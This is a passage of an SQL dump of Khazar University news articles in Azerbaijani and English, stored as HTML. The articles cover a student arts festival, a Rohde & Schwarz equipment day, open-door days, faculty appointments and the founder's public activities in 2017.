səhifəsində Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlının abituriyentlərin imtahan nəticələrinə münasibəti\r\nyayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Yazının\r\ntam mətnini bu linklər vasitəsilə oxumaq olar: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-30128/#.WQLbvkXyjDc\">http://www.sherg.az/site/id-30128/“Amerikada_da_yazıb-oxumağı_bacarmayanlar_var,_<font_color=red>amma...”#.WQLbvkXyjDc</font_color=red></a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://mektebgushesi.az/2017/04/27/hamlet-isaxanli-amerikada-da-yazib-oxumagi-bacarmayanlar-var-amma/\">http://mektebgushesi.az/2017/04/27/hamlet-isaxanli-amerikada-da-yazib-oxumagi-bacarmayanlar-var-amma/</a>.&nbsp;</p>'),(3593,2105,'az','“Xəzər”in musiqi kollektivləri “Tələbə baharı” festivalının yenə qalibləri sırasındadır','Aprelin 27-də  Azərbaycan Dövlət Musiqili Teatrında Gənclər və İdman Nazirliyi ilə Azərbaycan Tələbə Gənclər Təşkilatları İttifaqının birgə təşkil etdikləri “Tələbə baharı”...','<h1 style=\"margin:0in;margin-bottom:.0001pt;background:#fffffff\"><span lang=\"AZ-LATIN\" style=\"font-size:12pt;line-height:115%;font-family:\'Times New Roman\', serif;font-weight:normal\">Aprelin 27-də&nbsp; Azərbaycan Dövlət Musiqili Teatrında Gənclər\r\nvə İdman Nazirliyi ilə Azərbaycan Tələbə Gənclər Təşkilatları İttifaqının birgə\r\ntəşkil etdikləri “Tələbə baharı” yaradıcılıq festivalının qala-konserti\r\nkeçirildi və qaliblər elan olundu. İyirmidən artıq ali təhsil müəssisəsindən səkkiz\r\nyüzdən çox tələbənin iştirak etdiyi seçmə turu aprelin 3-6-da keçirilmişdi.</span></h1><p>Tədbirdə Gənclər və idman naziri Azad Rəhimov çıxış\r\nedərək, festivalın hər il yeni istedadlar üzə çıxarması etibarilə böyük əhəmiyyətindən\r\ndanışdı, iştirakçılara və münsiflər heyətinə təşəkkürünü bildirdi.</p>\r\n<p>Xəzər Universitetinin Musiqi və incəsənət\r\ndepartamentinin rəhbərliyi ilə universitetin &nbsp;musiqi kollektivləri artıq 10 - cü dəfə\r\nkeçirilən festivalda daim iştirak etmiş və həmişə qaliblər sırasında olmuşdur.\r\nBuilki festivalda da universitetin qızlardan ibarət rəqs qrupu (müəllim Səbinə\r\nİsmayılova)&nbsp; “Müasiir rəqslər”\r\nnominasiyasında birinci yerə, oğlanlardan ibarət rəqs qrupu (müəllim əməkdar\r\nartist Telman Əliyev) isə “Milli rəqslər” nominasiyasında ikinci yerə layiq\r\ngörüldülər. Qaliblərə diplomlar təqdim olundu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Tədbirdə Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı və Direktorlar və Qəyyumlar Şurası sədrinin müşaviri, “Dünya” məktəbinin\r\ntəsisçisi Nailə xanım İsayeva da iştirak edirdilər. &nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Tədbir ölkə mediasında\r\nişıqlandırılmışdır.</p>'),(4438,2631,'az','Hamlet İsaxanlının şeiri “First” jurnalında çap olundu','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının şeiri dünyaca məşhur...','<p style=\"text-align:justify\">Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının şeiri dünyaca məşhur “FIRST” jurnalının Müqəddəs Məkkəyə həsr olunmuş xüsusi buraxılışında çap edilmişdir.</p><p>Şeirin tərcüməçisi Firəngiz Nəsirova, ərəb dili üzrə məsləhətçisi&nbsp;Dr. Elnurə Əzizovadır.  <br></p>'),(3609,2105,'en',' Khazar University’s Music Group among the Winners of  “Student  Spring” Festival','On April 27,  gala concert of  “Student Spring” student arts festival  was held and the winners were announced in Azerbaijan State Musical Theater organized by The Ministry of...','<p>On April 27,&nbsp;\r\ngala concert of&nbsp; “Student Spring” student\r\narts festival&nbsp; was held and the winners were announced in Azerbaijan State\r\nMusical Theater organized by The Ministry of Youth and Sports in cooperation\r\nwith the Azerbaijan Student Youth Organizations\' Union.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The qualifying round\r\nwhere more than 20 high educational institutions and more 800 students\r\nparticipated was held on the 3-6th of April. Azad Rehimov,the Minister of\r\nSports and Youth delivered a speech emphasizing the importance of the event for\r\ndiscovering new talents each year and expressed his gratitude to jury and the\r\nparticipiants. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Under the leadership of\r\nthe Department of Music and Fine Arts, Khazar University’s music groups always\r\nparticipated and were among the winners in the event held for the 10th time. In\r\nthis year’s festival Univeristy’s girls’ dance group (instructor Sabina\r\nIsmayilova) won the first place in the nomination “Modern Dances”, boys’ dance\r\ngroup (instructor Honoured Artist Telman Aliyev) won the second place in the\r\nnomination “National Dances”. The winners were awarded diplomas. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Professor Hamlet Isakhanli,\r\nthe founder of Khazar University and Chairman of its Board of Directors and\r\nTrustees,&nbsp; and Advisor to the Chairman of the Board of Directors and\r\nTrustees, Nailakhanim Isayeva, co-founder of&nbsp;Khazar&nbsp;University\'s\r\naffiliate Dunya School and Advisor to the Board of Directors and Trustees&nbsp;\r\nalso participated in the event. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The event was covered by\r\nlocal media.&nbsp;</p>'),(3595,2107,'en','News','','<p><strong>Rohde &amp; Schwarz day held on April 5,\r\n2017 at </strong><strong>Khazar University</strong></p>\r\n<p style=\"text-align:justify\">Engineers know Rohde &amp; Schwarz\r\n(founded in 1933) as a German manufacturer of test and measurement equipment\r\nfor wireless communications, broadcast and media, the electronics industry,\r\nmonitorin<a></a>g and network testing. </p>\r\n<p style=\"text-align:justify\">The aim of “Rohde &amp; Schwarz day”\r\nwas to familiarize professors and students in field-oriented specialties with\r\nstate-of-the-art test and measurement equipment, present the company’s\r\nequipment line, provide application examples of these devices in academic and\r\nmanufacturing environments and provide a practical demonstration of how they\r\nwork.</p>\r\n<p style=\"text-align:justify\">Head of Department Electronics and\r\nTelecommunications Nuru Safarov opened the event by presenting Khazar University\r\nand providing a brief summary of the University’s structure and accomplishments\r\nfor guests from abroad. He spoke about the importance of interaction between\r\nhigher education institutions and equipment manufactures in terms of preparing\r\nstudents for working in advanced technical environments. </p>\r\n<p style=\"text-align:justify\">Sergey Rybinskiy (Sergey.Rybinskiy@rohde-schwarz.com), a representative of Rohde&amp; Schwarz based in Azerbaijan, opened a\r\npresentation series with a talk on the history of the company’s founding and\r\ndevelopment, its T&amp;M portfolio and the tasks accomplished by these\r\nstate-of-the-art systems. A large portion of this presentation was dedicated to\r\nlab models for various areas of study within the Department Electronics and\r\nTelecommunications. </p>\r\n<p style=\"text-align:justify\">Equipment for testing mobile operator\r\nservice quality was the primary focus of Rohde &amp; Schwarz at Khazar\r\nUniversity. This topic was at the forefront due to increased loads on mobile\r\nnetworks and government requirements regarding high-quality services. The\r\npractical part of the event was dedicated to this equipment. </p>\r\n<p style=\"text-align:justify\">Juris Grantins, product manager for\r\nmobile network testing gave a presentation on the equipment used in his field\r\nand spoke about network testing tasks, quality assessment methods and the\r\ninstruments used by his department including: </p>\r\n<p style=\"text-align:justify\">- Freerider II: a backpack-based\r\nsolution for conducting radio measurements, benchmarking and data processing </p>\r\n<p style=\"text-align:justify\">- QualiPoc Android: a specialized\r\nsmartphone for testing</p>\r\n<p style=\"text-align:justify\">- ROMES: coverage assessment software\r\n</p>\r\n<p style=\"text-align:justify\">- TSME: an ultra compact radio scanner</p>\r\n<p style=\"text-align:justify\">Juris Grantins presented these\r\ninstruments to the audience and demonstrated their effectiveness for analyzing\r\nmobile networks and service quality. The practical demonstration of the\r\nequipment made it possible to more broadly cover the topic of mobile network\r\ntesting and optimization.</p>\r\n<p style=\"text-align:justify\">Following the presentations, the\r\naudience received an opportunity to work with the equipment and get answers to\r\nquestions that had arisen during the practical portion of the event. </p>\r\n<p style=\"text-align:justify\">The company’s product catalog was\r\nadded to the department’s library. </p>\r\n<p style=\"text-align:justify\">Head of Department Electronics and\r\nTelecommunications Nuru Safarov closed the event by thanking the Rohde &amp;\r\nSchwarz representatives for their engaging and practical presentations. </p><p style=\"text-align:justify\"><img src=\"/files/radio_depart/ROMES4_bro_en_5214-2062-12_v0601.pdf%20-%20Adobe%20Reader.jpg\" style=\"width:500px;height:255px;margin:7px\">&nbsp;&nbsp;<img src=\"/files/radio_depart/Rohde-Schwarz_Freerider_III_3607-1620-12_v0200_120dpi.pdf%20-%20Adobe%20Reader.jpg\" style=\"width:345px;height:433px\">&nbsp;&nbsp;<img src=\"/files/radio_depart/TSME_bro_en_3606-7418-12_v0800.pdf%20-%20Adobe%20Reader1.jpg\" style=\"width:600px;height:402px\"><br></p><p style=\"text-align:justify\"><br></p>\r\n<p>&nbsp;</p>'),(3594,2106,'az','“Addım” qısametrajlı filminin təqdimat mərasimi oldu','2017-ci il aprelin 25-də Xəzər Universitetinin “Mərmər” zalında “Tormenta” Media Production-ın hazırladığı “Addım” qısametrajlı filminin təqdimat mərasimi keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 25-də Xəzər\r\nUniversitetinin “Mərmər” zalında “Tormenta” Media Production-ın hazırladığı\r\n“Addım” qısametrajlı filminin təqdimat mərasimi keçirildi. Film intihar etməyin son\r\naddımlığından geri dönüşdən, həyatda tutunacaq yaxınlarının, gördüyün xeyirxah\r\nyaxşılıqların daim səninlə yanaşı addımlamasından bəhs edir. Filmin rejissoru\r\nElçin İsmayıl və İmran Əsədovdur. Filmdə Humanitar və sosial elmlər fakültəsinin\r\ntərcümə ixtisası üzrə təhsil alan tələbələri Samir Quliyev və Dəyanət Dənyarov\r\nda rol almışlar. Təqdimat mərasiminin sonunda Xəzər Universitetinin İctimai əlaqələr\r\nvə media şöbəsinin rəhbəri Əlövsət Əmirbəyli, universitetin fəlsəfə müəllimi Mail\r\nYaqubov, ilahiyyatçı, din xadimi; “Mənəvi dünya”\r\nMilli-Mənəvi Dəyərlərin Təbliği İctimai Birliyini təsisçisi və sədriHacı\r\nŞahin Həsənli, Psixoloji Mərkəzin rəhbəri psixoloq Aytən Ələkbərova və digərləri\r\nfilm haqqında olan təəssürat və görüşlərini izləyicilər ilə paylaşdılar.</p>'),(3596,2107,'az','Xəbərlər','','<p style=\"text-align:justify\"><strong>5 aprel 2017–ci il tarixdə Xəzər Universitetində </strong><strong>Rohde</strong><strong>&amp;</strong><strong>Schwarz&nbsp;</strong><strong></strong><strong>günü keçirildi</strong><strong></strong></p>\r\n<p style=\"text-align:justify\">Alman kompaniyası Rohde &amp; Schwarz\r\n(əsası 1933-cü ildə\r\nqoyulmuşdur), mühəndislərə simsiz rabitə üçün nəzarət-ölçü, tele- və radioverici,\r\nelektron sənayesi, radiomonitorinq və radiolokasiya avadanlıqları istehsalçısı\r\nkimi məlumdur. </p>\r\n<p style=\"text-align:justify\">Tədbirin\r\nkeçirilməsində məqsəd uyğun ixtisaslı tələbə və müəllimləri nəzarət-ölçü\r\navadanlıqlarının müasir durumu ilə tanış etmək, Rohde&amp;Schwarz avadanlıqlarını\r\nəyani təqdim etmək, avadanlıqlardan tədris və istehsal prosesində istifadəsinə\r\nnümunələr gətirmək, avadanlıqların praktik olaraq nümayiş etdirilməsi olmuşdur.\r\n&nbsp;</p>\r\n<p style=\"text-align:justify\">Tədbiri “Elektronika\r\nvə Telekommunikasiya” departamentinin müdiri Nuru Səfərov açaraq, Xəzər\r\nUniversitetinin strukturu və nailiyyətləri haqqında qısa məlumat verdi. O, həmçinin\r\nali tədris müəssisələrinin müasir texniki şəraitə uyğun olan işlər üçün tələbələrin\r\nhazırlanması yönümlü avadanlıq istehsalçıları ilə qarşılıqlı əlaqəsinin\r\nqurulmasının zəruriliyini qeyd etdi. &nbsp;</p>\r\n<p style=\"text-align:justify\">İlk təqdimatı Rohde\r\n&amp; Schwarz kompaniyasının Azərbaycandakı təmsilçisi Serqey Rıbinskiy (<a href=\"mailto:Sergey.Rybinskiy@rohde-schwarz.com\">Sergey.Rybinskiy@rohde-schwarz.com</a>)\r\naçdı. O kompaniyanın yaranması və inkişafı haqqında, istehsalçısı olduqları\r\nmüasir ölçü avadanlıqlarının və ölçü sistemlərinin həll etdiyi məsələlər\r\nhaqqında məruzə ilə çıxış etdi. Təqdimatın əsas hissəsini “Elektronika və\r\nTelekommunikasiya” departamentinin tələbələrinin təhsil aldığı müxtəlif istiqamətləri\r\nüzrə laboratoriya maketlərindən nümunələr gətirilməsi təşkil etdi. &nbsp;</p>\r\n<p style=\"text-align:justify\">Xəzər\r\nUniversitetində Rohde &amp; Schwarz gününün əsas mövzusu mobil operatorların\r\ngöstərdiyi xidmətlərin keyfiyyətini qiymətləndirən avadanlıq oldu. Bu mövzu\r\nmobil rabitə şəbəkələrində yüklənmələrin artması və dövlətin əhaliyə göstərilən\r\nxidmətin keyfiyyətli olması tələbi ilə ilk plana keçir. Görüşün praktik hissəsi\r\nelə bu avadanlıqla tanışlığa həsr edildi. &nbsp;</p>\r\n<p style=\"text-align:justify\">Mobil şəbəkələrin\r\ntestləşməsi avadanlıqlarının təqdimatını həmin məhsulların MNT seqment rəhbəri Yuris\r\nQrantins verdi. O, şəbəkələrin testləşməsi, keyfiyyətin qiymətləndirilməsi\r\nmetodları və bu məsələlər üçün lazım olan alətlər haqqında danışdı:</p>\r\n<p style=\"text-align:justify\">- Freerider II qurğusu\r\n- radioölçmələr və verilənlərin emalı </p>\r\n<p style=\"text-align:justify\">- Xüsusi QualiPoc Android test smartfonu</p>\r\n<p style=\"text-align:justify\">- ROMES örtüyünün ölşülməsi üçün\r\nproqram təminatı </p>\r\n<p style=\"text-align:justify\">- TSMEultrakompakt radioskaneri</p>\r\n<p style=\"text-align:justify\">Bu qurğular\r\niştirakçılara təqdim edildi. Yuris Qrantins xidmətin keyfiyyətinin qiymətləndirilməsi\r\nvə mobil şəbəkələrin analizi məsələsi üçün bu qurğulardan istifadənin\r\neffektivliyini nümayiş etdirdi. Avadanlıqların praktik nümayiş olunması testləşmə\r\nvə mobil şəbəkə optimallaşması mövzusunu daha geniş şəkildə açmağa imkan verdi.\r\n</p>\r\n<p style=\"text-align:justify\">Təqdimatlar\r\nbitdikdən sonra bütün arzu edənlər avadanlıqlarda işləmək və istismar zamanı\r\nyaranan suallara cavab almaq imkanı.</p>\r\n<p style=\"text-align:justify\">Departamentə\r\nkompaniyanın istehsal etdiyi məhsullar haqqında kataloq jurnal hədiyyə verildi.\r\n&nbsp;</p>\r\n<p style=\"text-align:justify\">“Elektronika və\r\nTelekommunikasiya” departamentinin müdiri Nuru Səfərov çıxış edərək, Rohde &amp; Schwarz kompaniyasının nümayəndələrinə maraqlı praktik təqdimat üçün öz təşəkkürünü\r\nbildirdi.&nbsp;</p><p style=\"text-align:justify\"><img src=\"/files/radio_depart/ROMES4_bro_en_5214-2062-12_v0601.pdf%20-%20Adobe%20Reader.jpg\" style=\"width:400px;height:204px;margin:7px\">&nbsp; &nbsp; &nbsp;&nbsp;<img src=\"/files/radio_depart/Rohde-Schwarz_Freerider_III_3607-1620-12_v0200_120dpi.pdf%20-%20Adobe%20Reader.jpg\" style=\"width:345px;height:433px;margin:7px\"><img src=\"/files/radio_depart/TSME_bro_en_3606-7418-12_v0800.pdf%20-%20Adobe%20Reader1.jpg\" style=\"width:600px;height:402px\"><br></p>'),(3597,2109,'az','“Xəzər”də Açıq qapı günü','Aprelin 28-də Xəzər Universitetində Açıq qapı günü keçirildi.  Bakının     242, 61, 64, 72, 11 və sair məktəblərinin  XI sinif  şagirdləri universitetin Mərmər zalına toplaşmışdılar...','<p>Aprelin 28-də Xəzər\r\nUniversitetində Açıq qapı günü keçirildi.&nbsp;\r\nBakının&nbsp;&nbsp;&nbsp;&nbsp; 242, 61, 64, 72, 11 və\r\nsair məktəblərinin &nbsp;XI sinif &nbsp;şagirdləri universitetin Mərmər zalına\r\ntoplaşmışdılar. Zalda ixtisaslar və universitetdə fəaliyyət göstərən mərkəzlər\r\n(xarici əlaqələr, karyera, psixologiya, kitabxana- informasiya və sair) üzrə\r\nmasalar qurulmuşdu. </p>\r\n<p>Tədbiri universitetin rektoru Hassan Niknafs\r\naçaraq, şagirdlərə universitet haqqına ətraflı məlumat verdi. Universitetin müəllimi\r\nprofessor Fuat Rəsulov və İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəylinin\r\nidarə etdikləri görüşdə sonra şagirdlər ixtisas və mərkəz masaları ətrafında əməkdaşlar\r\ntərəfindən geniş məlumatlandırıldılar və onların sualları cavablandırıldı.</p>\r\n<p>Şagirdlər Xəzər Universiteti haqqında videokliplərə\r\nbaxdılar və onlara bukletlər paylanıldı.&nbsp;\r\nMərmər zalda universitetin dövlət sektorunda və özəl qurumlarda yüksək vəzifələr\r\ntutan məzunları haqqında nümayiş etdirilən stend şagirdlərdə böyük maraq\r\ndoğurdu.</p>\r\n<p>Mərmər zalda tədbir başa çatandan sonra şagirdlər\r\nuniversitetlə tanış oldular. Elektronika, inşaat mühəndisliyi, biologiya,\r\nkompüter və sair laboratoriyalarda, Kitabxana - İnformasiya Mərkəzində şagirdlərə\r\nməlumat verildi və sualları cavablandırıldı.</p>\r\n<p>Məktəblilər Xəzər Universitetindən\r\nxoş təəssüratla ayrıldılar.</p>'),(3610,2101,'en','Elnura Azizova Awarded Associate Professor Diploma','On 27 April, 2017,  associate professor diploma was  presented to Elnura Akif Azizova, PhD in Theology,  the head of the Department of Languages and Cultures of Khazar University...','<p>On 27 April, 2017, &nbsp;associate professor diploma was &nbsp;presented to Elnura Akif Azizova, PhD in\r\nTheology,&nbsp; the head of the Department of\r\nLanguages and Cultures of Khazar University, at Higher Attestation Commission.\r\n</p>\r\n<p>It should be noted that Ph.D. Elnura Azizova, &nbsp;head of the Department Of Languages And\r\nCultures of Khazar University, was honored with associate professor title by\r\nthe Department of Languages and Cultures with the desicion of Higher\r\nAttestation Commission under the president of Azerbaijan Republic dated March 10,\r\n2017.<strong></strong></p>'),(3612,2115,'en','Khazar Faculty Member Appointed as \"Guest Reviewer\" of International Journal.','Valida Kerimova, PhD candidate and Dean\'s assistant of School of Humanities and Social Sciences at Khazar University was appointed as a guest reviewer to editorial staff of...','<p>Valida Kerimova, PhD candidate and Dean\'s\r\nassistant of School of Humanities and Social Sciences at Khazar University was\r\nappointed as a guest reviewer to editorial staff of scientific journal </p>\r\n<p>&nbsp;\"International Journal of Linguistics and\r\nEducation\" &nbsp;of the publishing house\r\n<strong>“Science Publishing Group”</strong>. It should be noted that the article of Valida Kerimova,\r\nentitled “Language Ethics: Linguo </p>\r\n<p>Psychology and Psycholinguistics; Analysis of The\r\nLanguage with Psychological Problems” was&nbsp; published\r\nin the scientific journal \"Psychology and Behavioral Science\" by the\r\nsame publishing&nbsp;house.We congratulate her on this occasion and wish\r\ncontinued success to her.&nbsp;For more information, please click the following\r\nlink:</p>\r\n<p><a href=\"http://www.sciencepublishinggroup.com/journal/editorialboard?journalid=611\">http://www.sciencepublishinggroup.com/journal/editorialboard?journalid=611</a></p>'),(3613,2104,'en','Founder Shares Opinion about Entrants` Results','On April 27, 2017, an article of  Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees,  was published  on  the official website...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On April 27, 2017, an\r\narticle of &nbsp;Hamlet Isakhanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees, &nbsp;was published&nbsp;\r\non&nbsp; the official website of “Sharg\r\n“ newspaper &nbsp;in which he shared his\r\nopinions on the&nbsp;results of entrants.</p>\r\n<p>For the full version &nbsp;of the article visit the &nbsp;following &nbsp;links:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-30128/#.WQLbvkXyjDc\">http://www.sherg.az/site/id-30128/“Amerikada_da_yazıb-oxumağı_bacarmayanlar_var,_&lt;font_color=red&gt;amma...”&lt;/font&gt;#.WQLbvkXyjDc</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://mektebgushesi.az/2017/04/27/hamlet-isaxanli-amerikada-da-yazib-oxumagi-bacarmayanlar-var-amma/\">http://mektebgushesi.az/2017/04/27/hamlet-isaxanli-amerikada-da-yazib-oxumagi-bacarmayanlar-var-amma/</a>.&nbsp;</p>'),(3614,2116,'az','Nizami rayonu 32 saylı məktəbin 11-ci sinif şagirdləri Xəzər Universitetində oldular','2017-ci il mayın 1-də Xəzər Universitetində “Açıq qapı” günü keçirildi. Nizami rayonunda yerləşən 32 saylı məktəbin 11-ci sinif şagirdləri Xəzər Universiteti ilə yaxından...','<p>2017-ci il mayın 1-də Xəzər Universitetində “Açıq qapı” günü\r\nkeçirildi. Nizami rayonunda yerləşən 32 saylı məktəbin 11-ci sinif şagirdləri Xəzər\r\nUniversiteti ilə yaxından tanış oldular. Şagirdlər universitetin\r\nauditoriyalarını, laboratoriyaları, muzeyləri gəzdilər. Onlara Xəzər Universiteti\r\nhaqqında geniş məlumat verildi. </p>\r\n<p>Sonda xatirə şəkilləri\r\nçəkildi. &nbsp;</p>'),(3615,2117,'az','İngilis dili və ədəbiyyatı departamentinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin müəllimi doktorant İlham Tağıyevin “Qrays Maksimlərinin pozulması və ingilis linqvistik yumorunda ikimənalılıq”...','<p>Xəzər\r\nUniversiteti İngilis dili və ədəbiyyatı departamentinin müəllimi doktorant\r\nİlham Tağıyevin “Qrays Maksimlərinin pozulması və ingilis linqvistik yumorunda ikimənalılıq”\r\nbaşlıqlı məqaləsi beynəlxalq jurnalın (İJASOS) 7-ci sayında çap olunmuşdur. Məqalə\r\nmüəllifin yumorun tədqiqinə Amerika filosofu Paul Qraysın təklif etmiş olduğu kooperativ\r\nprinsiplər nöqteyi-nəzərindən yanaşması ilə maraq doğurur.&nbsp;</p>'),(3616,2118,'az','Professor İsaxanlı ilə müsahibənin bir hissəsi “525-ci qəzet”də çap olundu','2017-ci il aprelin 29-da “525-ci qəzet”də Waqas Əhmədin Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıdan aldığı müsahibənin...','<p>2017-ci il aprelin 29-da “525-ci\r\nqəzet”də Waqas Əhmədin Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlıdan aldığı müsahibənin ilk hissəsi çap\r\nedilmişdir. Müsahibə hissə-hissə çap ediləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibənin\r\nçap olunmuş hissəsini bu link vasitəsilə oxumaq olar:</p>\r\n<p><a href=\"http://525.az/site/?name=xeber&amp;news_id=78294&amp;tarix=2017-04-29&amp;vaxt=14:57:24\">http://525.az/site/?name=xeber&amp;news_id=78294&amp;tarix=2017-04-29&amp;vaxt=14:57:24</a>.</p>'),(3617,2119,'az','Statistika Şurasının üzvü Hamlet İsaxanlı şuranın iclasında iştirak etdi','2017-ci il aprelin 28-də Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında Statistika Şurasının üzvü, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il\r\naprelin 28-də Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında\r\nStatistika Şurasının üzvü, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı şuranın iclasında iştirak etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">H. İsaxanlı\r\nmüzakirə olunan məsələlər və qarşıda duran problemlər haqqında fikirlərini söylədi,\r\nstatistik göstəriçilərin və dövlət proqramının mükəmməlləşdirilməsi yolları barədə\r\ndanışdı.</p>'),(3618,2120,'az','Hamlet İsaxanlı Şəmkir Şahmat Turnirinin bağlanış mərasimində iştirak etdi','2017-ci il aprelin 20-dən mayın 1-dək “Synergy Group” tərəfindən Vüqar Qasımovun xatirəsinə həsr olunmuş şahmat turniri keçirildi. Xəzər Universitetinin təsisçisi, Direktorlar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil aprelin 20-dən mayın 1-dək “Synergy Group” tərəfindən Vüqar Qasımovun xatirəsinə\r\nhəsr olunmuş şahmat turniri keçirildi. Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı bağlanış\r\ngünü yarışları canlı şəkildə izlədi, şahmatçılar, hakimlər, ictimaiyyət nümayəndələri\r\nvə Şəmkir Rayon İcra Hakimiyyətinın başçısı ilə görüşdü. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Professor\r\nİsaxanlı turnirin təntənəli bağlnış banketində Azərbaycanda və dünyada şahmatın\r\ninkişafı, 4-cü Şəmkir superturniri, turnirin qalibi olan Şəhriyar Məmmədyarov və\r\nbir sıra digər məsələlər barəsində danışdı.&nbsp;</p>'),(3619,2121,'az','“Xəzər Xəbər”  jurnalının 2017-ci il mart nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2017 - ci il mart nömrəsi (360-cı nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz...','<p>“Xəzər Xəbər” jurnalının\r\n2017 - ci il mart nömrəsi (360-cı nömrə) Xəzər Universitetinin mətbəəsində\r\nçapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:</p><p> <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3620,2121,'en','March Issue of “Khazar Review” Journal Printed ','The March 2017 issue (number 360) of “Khazar Review” has been printed by Khazar University Press. The full journal may...','<p>The March 2017 issue (number\r\n360) of “Khazar Review” has been printed by Khazar University Press.&nbsp;The\r\nfull journal may be read at this link:<strong>&nbsp;</strong></p><p><strong></strong><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3621,2122,'az','Kastamonu Universitetinin əməkdaşı Xəzər Universitetində seminar keçirəcək','2017-ci il mayın 3-ü saat 12:00-də Türkiyənin Kastamonu Universitetinin Elm və incəsənət...','<p>2017-ci il mayın 3-ü saat 12:00-də Türkiyənin\r\nKastamonu Universitetinin Elm və incəsənət, biologiya fakültəsinin müəllimi&nbsp;\r\nDr. Gözde Gürelli “<em>Endocommensal Ciliates\r\n(Ciliophora: Protista) of Herbivores</em>” mövzusunda, yəni ibtidailər haqda\r\n(Protozoalar haqda) Xəzər Universitetinin “Neftçilər” kampusunda (otaq 102N) tələbələr\r\nvə tədqiqatçılar üçün mühazirə/ seminar keçirəcək. </p>\r\n<p>Qeyd edək ki, Dr. Gözde Gürelli <em>Erasmus Staff Training Mobility</em> proqramı\r\nçərçivəsində Bioloji elmlər departamentinə gəlmişdir.</p>\r\n<p>Maraqlanan hər kəs dəvətlidir.</p>'),(3622,2123,'az','İğdır Universitetinin rektoru Xəzər Universitetini ziyarət etdi','2017-ci il mayın 2-də Türkiyənin İğdır Universitetinin rektoru professor Mehmet Hakkı Alma və həmin universitetin dosenti Şahin Əhmətoğlu Xəzər Universitetini ziyarət...','<p>2017-ci il mayın 2-də Türkiyənin İğdır\r\nUniversitetinin rektoru professor Mehmet Hakkı Alma və həmin universitetin\r\ndosenti Şahin Əhmətoğlu Xəzər Universitetini ziyarət etdilər. Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı qonaqları səmimi salamlayaraq, onlara universitet haqqında\r\ngeniş məlumat verdi. Professor İsaxanlı və İğdır Universitəsinin rektoru professor\r\nMehmet Hakkı Alma arasında hərtərəfli əməkdaşlıq və Mevlana Proqramı çərçivəsində\r\nmüqavilələr imzalandı. Qonaqlar Xəzər Universitetinin laboratoriyaları ilə\r\ntanış oldular, xalçaçılıq və zərgərlik proqramları üzrə dərs alan tələbələrlə\r\ngörüşdülər. Görüşdə İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli\r\niştirak etdi.</p><p>Xatirə şəkilləri çəkildi. &nbsp;</p>'),(3623,2124,'az','Şekspir yaradıcılığına həsr olunmuş tədbir','Aprelin 26-da Xəzər Universitetində Şekspir yaradıcılığına həsr olunmuş 